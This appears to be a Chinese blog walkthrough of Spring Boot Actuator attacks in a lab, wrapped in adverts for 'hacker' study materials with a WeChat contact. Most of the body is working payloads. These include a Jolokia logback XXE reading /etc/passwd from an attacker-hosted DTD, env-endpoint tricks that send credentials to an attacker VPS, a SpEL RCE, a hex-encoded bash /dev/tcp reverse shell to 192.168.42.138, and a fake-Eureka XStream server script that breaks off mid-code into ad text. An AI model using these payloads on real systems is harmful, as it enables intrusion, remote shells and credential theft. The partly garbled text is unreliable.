先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
python .\SB-Actuator.py -u http://192.168.42.132:8090
![请添加图片描述](https://img-blog.csdnimg.cn/f5c1d2ae180f4ababdab13fb8500f6e1.png)
>
> 2.访问网站的/jolokia/list 目录,查找是否存在logback 库提供的reloadByURL方法,如果有,那就证明可利用该漏洞。
>
>
>
![请添加图片描述](https://img-blog.csdnimg.cn/ca5c742b1572469c9ede0ee0772fed45.png)
###### 复现过程
>
> 1.如果找到存在reloadByURL方法,就在攻击机上创建一个logback.xml,一个ian.dtd文件。
>
>
>
//logback.xml
<?xml version="1.0" encoding="utf-8" ?> %remote;%int;]>&trick;
//ian.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
>
> 2.创建完成后,在他们两个的当前目录开启http服务,用于后续请求。
>
>
>
>
> 3.访问网站,构造payload对攻击机上的文件进行请求。
>
>
>
http://192.168.42.132:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.42.132:8000!/logback.xml
>
> 4.攻击机上发现文件被访问到,然后在网页上可看见/etc/passwd文件的内容。(ian.dtd 内还可以修改为其他攻击者想访问到的文件)
>
>
>
![请添加图片描述](https://img-blog.csdnimg.cn/f917e2f618764cc0b4a68a3b06b63770.png)
/etc/password文件的内容
![请添加图片描述](https://img-blog.csdnimg.cn/64fa194bbf2b4b74b1df6698d2cfe3f5.png)
##### 漏洞利用-env敏感信息脱星
###### 复现过程(方法一)
利用条件:目标网站存在/jolokia 或者 /actuator/jolokia接口
目标使用了jolokia-core以来
>
> 1.访问http://ip:8090/env 可以查看到直接泄露的环境变量、内网地址、配置中的用户名等信息,也有可能暴露明文密码。
>
>
>
![请添加图片描述](https://img-blog.csdnimg.cn/d64d9b6450704ccc80ab277f857b54db.png)
>
> 2.找到属性名,使用bp抓包,抓/jolokia的包,发送到重发模块,修改包为post请求,把传输的变量改json,然后加上下面的poc,重放这个包,明文值结果包含 在 response 数据包中的 value 键中。
> 注意:每个1.x 版本和2.x 版本不同。
>
>
>
//spring 1.x
{
“mbean”:
“org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager”,
“operation”: “getProperty”,
“type”: “EXEC”,
“arguments”: [“security.user.password”],
}
//spring 2.x
{
“mbean”:
“org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager”,
“operation”: “getProperty”,
“type”: “EXEC”,
“arguments”: [“security.user.password”],
}
![请添加图片描述](https://img-blog.csdnimg.cn/389e280c523144318d8917696e5ff214.png)
![请添加图片描述](https://img-blog.csdnimg.cn/780d5df14acd43bdaf0c27bc79e15701.png)
###### 复现过程(方法二)
**利用的条件:**
可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)
>
> 1.先用Bp去看 env接口是否可以get post 请求成功,返回状态码为成功,然后再测试/refresh 接口 的post请求,都可以的话,就可以尝试进行攻击。
>
>
>
>
> 2.使用bp抓访问/env的包,构造攻击请求,重发过去。版本不同,poc也不同
>
>
>
//1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
//spring 2.x
POST /actuator/env
Content-Type: application/json
{“name”:“eureka.client.serviceUrl.defaultZone”,“value”:“http://value:${security. user.password}@your-vps-ip”}
![请添加图片描述](https://img-blog.csdnimg.cn/da3d48d6796a4357a09ca77e22106c45.png)
>
> 3.监听80端口,然后bp进行发送后,访问/refresh,进行刷新,会直接监听得到信息,然后进行base64解码就可以看见密码。
>
>
>
![请添加图片描述](https://img-blog.csdnimg.cn/afe4a4c20ff645c084915a724aa5ed1d.png)
![请添加图片描述](https://img-blog.csdnimg.cn/50d765d8b4d34138a37c0b7f6ce2dda9.png)
##### 远程代码执行
###### whitelabel error page SpEL RCE
###### 环境搭建
https://github.com/LandGrey/SpringBootVulExploit
下载下来后,进入SpringBootVulExploit/repository/springboot-spel-rce/src/main/resources/application.properties 去修改,然后编译运行,然后访问9091端口,会看见搭建成功的默认的404页面。
server.port=9091
#server.address=127.0.0.1
server.address=0.0.0.0
//编译启动
mvn spring-boot:run
![请添加图片描述](https://img-blog.csdnimg.cn/e10318679d604e78969a41c5c6a7fa84.png)
![请添加图片描述](https://img-blog.csdnimg.cn/cca960cf0a514d81bd913214568c77d8.png)
###### 利用条件
spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
至少知道一个触发 springboot 默认错误页面的接口及参数名
###### 漏洞原理
1. spring boot **处理参数值**出错,流程进 入 org.springframework.util.PropertyPlaceholderHelper 类中
2. 此时 URL 中的参数值会用 **parseStringValue**方法进行递归解析
3. 其中 ${} 包围的内容都会 被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类 的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
###### 复现过程
>
> 1.找到一个正常传参处,比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page ,则后 续 payload 都将会在参数 id 处尝试。
>
>
>
>
> 2.执行 SpEL 表达式。输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基 本可以确定目标存在 SpEL 表达式注入漏洞。
>
>
>
![请添加图片描述](https://img-blog.csdnimg.cn/0b29a10c1ef24d80b1f73d1a87155ba5.png)
>
> 3.由字符串格式转换成 0x\*\* java 字节形式,方便执行任意代码。先将字符的命令转换成字节的,然后payload通过Java的**getruntime().exec**命令去执行 new String (new byte[])转成的字符命令。
>
>
>
//转字节的脚本
coding: utf-8
result = “”
target = ‘touch /tmp/mingy’
for x in target:
result += hex(ord(x)) + “,”
print(result.rstrip(‘,’))
//执行payload
http://127.0.0.1:9091/article? id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[] {0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x6d,0x69,0x6e,0x67,0x79 }))}
![请添加图片描述](https://img-blog.csdnimg.cn/453046684c614b0f81741a6b5dd164a1.png)
利用touch命令在tmp目录下创建mingy的文件
![请添加图片描述](https://img-blog.csdnimg.cn/2d7f03a3b8ed4ab9a29081415af65a99.png)
>
> 2.执行反弹shell 的操作,先转成base64 的形式,然后再转成0x 字节的形式,访问payload,在攻击机上开启监听6666端口,执行后,可以看到返回的shell,直接在其目录下了。
>
>
>
//反弹Shell
bash -i >& /dev/tcp/192.168.42.138/6666 0>&1
//转化的格式base
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
//payload
http://192.168.42.132:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[] {0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x51,0x79,0x4c,0x6a,0x45,0x7a,0x4f,0x43,0x38,0x32,0x4e,0x6a,0x59,0x32,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x45,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}
![请添加图片描述](https://img-blog.csdnimg.cn/a2698880c1dc4c9c81ea47657269f4d9.png)
![请添加图片描述](https://img-blog.csdnimg.cn/1dc933b0bce04f3ea1f6fc74aac04686.png)
###### eureka xstream deserialization RCE
###### 环境搭建
修改 SpringBootVulExploit/repository/springboot-eureka-xstreamrce/src/main/resources/application.properties
erver.port=9093
#server.address=127.0.0.1
server.address=0.0.0.0
mvn spring-boot:run
![请添加图片描述](https://img-blog.csdnimg.cn/e753810797684aa08c6dda12de8d9a19.png)
搭建成功
![请添加图片描述](https://img-blog.csdnimg.cn/049194c2789f409cb8bf99f292704e29.png)
###### 利用条件
可以 POST 请求目标网站的 /env 接口设置属性
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starteractuator 依赖)
目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eurekaclient 依赖中)
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
###### 漏洞原理
1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地 址
2. refresh 触发目标机器请求远程 URL ,提前架设的 f ake eureka server 就会返回恶意的 payload
3. 目标机器相关依赖解析 payload ,触发 XStream 反序列化,造成 RCE 漏洞
###### 复现过程
>
> 1.架设响应恶意 XStream payload 的网站
> 提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反 弹shell。 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址 和 端口号。
>
>
>
>
> 2.在脚本的command中输入base64 转码的shell,然后在攻击机上搭建恶意网站,利用python3 server.py 开启。
>
>
>
//反弹shell脚本
#!/usr/bin/env python
coding: utf-8
-- Author: LandGrey --
from flask import Flask, Response
app = Flask(name)
@app.route(‘/’, defaults={‘path’: ‘’})
@app.route(‘/path:path’, methods=[‘GET’, ‘POST’])
def catch_all(path):
xml = “”"
<jdk.nashorn.internal.objects.NativeString>
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网络安全面试题
绿盟护网行动
还有大家最喜欢的黑客技术
网络安全源码合集+工具包
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
//img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-yTSj4IpJ-1713175561720)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!